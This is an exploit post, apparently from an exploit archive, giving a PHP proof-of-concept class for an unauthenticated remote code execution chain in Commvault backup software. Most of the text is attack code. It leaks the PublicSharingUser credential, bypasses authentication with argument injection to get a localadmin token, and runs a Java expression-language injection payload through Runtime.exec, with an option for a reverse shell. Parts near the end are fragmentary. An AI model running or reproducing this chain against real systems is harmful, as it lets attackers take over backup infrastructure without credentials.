=============================================================================================================================================
| # Title : Commvault CLI 11.36.60 RCE PHP Implementation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.commvault.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/209626/ & CVE-2025-57788, CVE-2025-57790, CVE-2025-57791
[+] Summary :
a critical remote code execution vulnerability chain affecting Commvault Complete™ Backup & Recovery software.
The exploit chain combines an authentication bypass vulnerability with expression language injection to achieve unauthenticated remote code execution on affected systems.
[+] Vulnerability Details :
CVE-2025-57790 Authentication Bypass 9.8 (Critical) Unauthenticated access to localadmin account
CVE-2025-57791 Expression Language Injection 9.8 (Critical) Remote Code Execution
CVE-2025-57788 Information Disclosure 7.5 (High) PublicSharingUser credential leakage
Affected Products
Commvault Complete™ Backup & Recovery
Commvault HyperScale™
Commvault Metallic™
Attack Vector
Network: Remote exploitation without authentication
Complexity: Low - no specialized access conditions required
Privileges: None required
The exploit follows a multi-stage approach:
Information Disclosure (CVE-2025-57788)
Authentication Bypass (CVE-2025-57790)
Expression Language Injection (CVE-2025-57791)
Remote Code Execution
[+] POC :
php poc.php or http://127.0.0.1/poc.php
target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
}
/**
* Check if target is vulnerable
*/
public function check() {
echo "[*] Checking Commvault vulnerability...\n";
// Step 1: Extract PublicSharingUser password
$psu_password = $this->extract_publicsharinguser_pass();
if (!$psu_password) {
echo "[-] Failed to extract PublicSharingUser password\n";
return "unknown";
}
echo "[+] Extracted PublicSharingUser GUID: $psu_password\n";
// Step 2: Login as PublicSharingUser
$token = $this->login_as_publicsharinguser($psu_password);
if ($token) {
echo "[+] ✓ Successfully authenticated as PublicSharingUser\n";
echo "[+] Token: $token\n";
return "vulnerable";
} else {
echo "[-] ✗ Failed to authenticate as PublicSharingUser\n";
return "safe";
}
}
/**
* Extract PublicSharingUser password from public endpoint
*/
private function extract_publicsharinguser_pass() {
$url = $this->build_url('/commandcenter/publicLink.do');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && strpos($response, 'cv-gorkha') !== false) {
// Extract GUID using regex
preg_match('/"cv-gorkha\\\\":\\\\"([a-zA-Z0-9-]+)\\\\"/', $response, $matches);
if (isset($matches[1])) {
return $matches[1];
}
}
return false;
}
/**
* Login as PublicSharingUser
*/
private function login_as_publicsharinguser($password) {
$url = $this->build_url('/commandcenter/api/Login');
$data = json_encode([
'username' => '_+_PublicSharingUser_',
'password' => base64_encode($password)
]);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Content-Length: ' . strlen($data)
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $matches);
if (isset($matches[1])) {
return $matches[1];
}
}
return false;
}
/**
* Get host information using PublicSharingUser token
*/
private function get_host_info($token) {
$url = $this->build_url('/commandcenter/api/CommServ');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Authtoken: ' . $token
]
]);
$response = curl_exec($ch);
curl_close($ch);
if ($response) {
preg_match('/hostName="([^"]+)"/', $response, $hostname_matches);
preg_match('/osType="([^"]+)"/', $response, $os_matches);
$hostname = isset($hostname_matches[1]) ? explode('.', $hostname_matches[1])[0] : null;
$os_type = isset($os_matches[1]) ? $os_matches[1] : null;
return ['hostname' => $hostname, 'os_type' => $os_type];
}
return false;
}
/**
* Bypass authentication to get localadmin token
*/
private function bypass_authentication($hostname) {
$url = $this->build_url('/commandcenter/api/Login');
$spaces_before = str_repeat(' ', rand(1, 8));
$spaces_after = str_repeat(' ', rand(1, 8));
$data = json_encode([
'username' => $hostname . '_localadmin__',
'password' => base64_encode($spaces_before . 'a' . $spaces_after . '-localadmin' . $spaces_after),
'commserver' => $hostname . ' -cs ' . $hostname
]);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Content-Length: ' . strlen($data)
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && strpos($response, 'QSDK') !== false) {
preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $token_matches);
preg_match('/aliasName[=:]"(\d+)/', $response, $uid_matches);
return [
'token' => $token_matches[1] ?? null,
'uid' => $uid_matches[1] ?? null
];
}
return false;
}
/**
* Execute the full exploit chain
*/
public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) {
echo "[*] Starting Commvault exploitation chain...\n";
// Step 1: Extract PublicSharingUser password
echo "[*] Step 1: Extracting PublicSharingUser password...\n";
$psu_password = $this->extract_publicsharinguser_pass();
if (!$psu_password) {
echo "[-] Failed to extract PublicSharingUser password\n";
return false;
}
echo "[+] Extracted password: $psu_password\n";
// Step 2: Login as PublicSharingUser
echo "[*] Step 2: Authenticating as PublicSharingUser...\n";
$psu_token = $this->login_as_publicsharinguser($psu_password);
if (!$psu_token) {
echo "[-] Failed to authenticate as PublicSharingUser\n";
return false;
}
echo "[+] PublicSharingUser token: $psu_token\n";
// Step 3: Get host information
echo "[*] Step 3: Gathering target information...\n";
$host_info = $this->get_host_info($psu_token);
if (!$host_info) {
echo "[-] Failed to get host information\n";
return false;
}
$hostname = $host_info['hostname'];
$os_type = $host_info['os_type'];
echo "[+] Hostname: $hostname\n";
echo "[+] OS Type: $os_type\n";
if (strtolower($os_type) !== 'windows') {
echo "[-] This exploit only supports Windows targets\n";
return false;
}
// Step 4: Bypass authentication to get localadmin access
echo "[*] Step 4: Bypassing authentication for localadmin...\n";
$admin_info = $this->bypass_authentication($hostname);
if (!$admin_info || !$admin_info['token'] || !$admin_info['uid']) {
echo "[-] Authentication bypass failed\n";
return false;
}
$admin_token = $admin_info['token'];
$admin_uid = $admin_info['uid'];
echo "[+] LocalAdmin token: $admin_token\n";
echo "[+] LocalAdmin UID: $admin_uid\n";
// Step 5: Generate and execute payload
echo "[*] Step 5: Executing payload...\n";
$payload_cmd = $this->generate_payload($payload_type, $lhost, $lport);
if ($this->execute_el_injection($hostname, $admin_uid, $payload_cmd, $admin_token)) {
echo "[+] ✓ Exploitation completed successfully\n";
return true;
} else {
echo "[-] ✗ Payload execution failed\n";
return false;
}
}
/**
* Execute Expression Language injection
*/
private function execute_el_injection($hostname, $uid, $command, $token) {
// Expression Language injection payload (non-blind)
$el_payload = "\${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('{$command}').getInputStream()).useDelimiter('%5C%5CA').next()}";
echo "[*] EL Payload: " . htmlspecialchars($el_payload) . "\n";
// In a full implementation, this would:
// 1. Upload XML file via metricsUpload.do
// 2. Update user description with EL payload
// 3. Move XML to create web shell
// 4. Access web shell to trigger RCE
// 5. Clean up user description
// For demonstration, we'll simulate the critical RCE step
$url = $this->build_url('/commandcenter/RestServlet/User/' . $uid);
$xml_data = "
$output"; } } else { echo '
CVE-2025-57790: Authentication Bypass via command-line argument injection
CVE-2025-57791: Expression Language Injection leading to RCE
CVE-2025-57788: Information disclosure exposing PublicSharingUser credentials
Impact: Unauthenticated Remote Code Execution as NETWORK SERVICE
Affected: Commvault Complete™ Backup & Recovery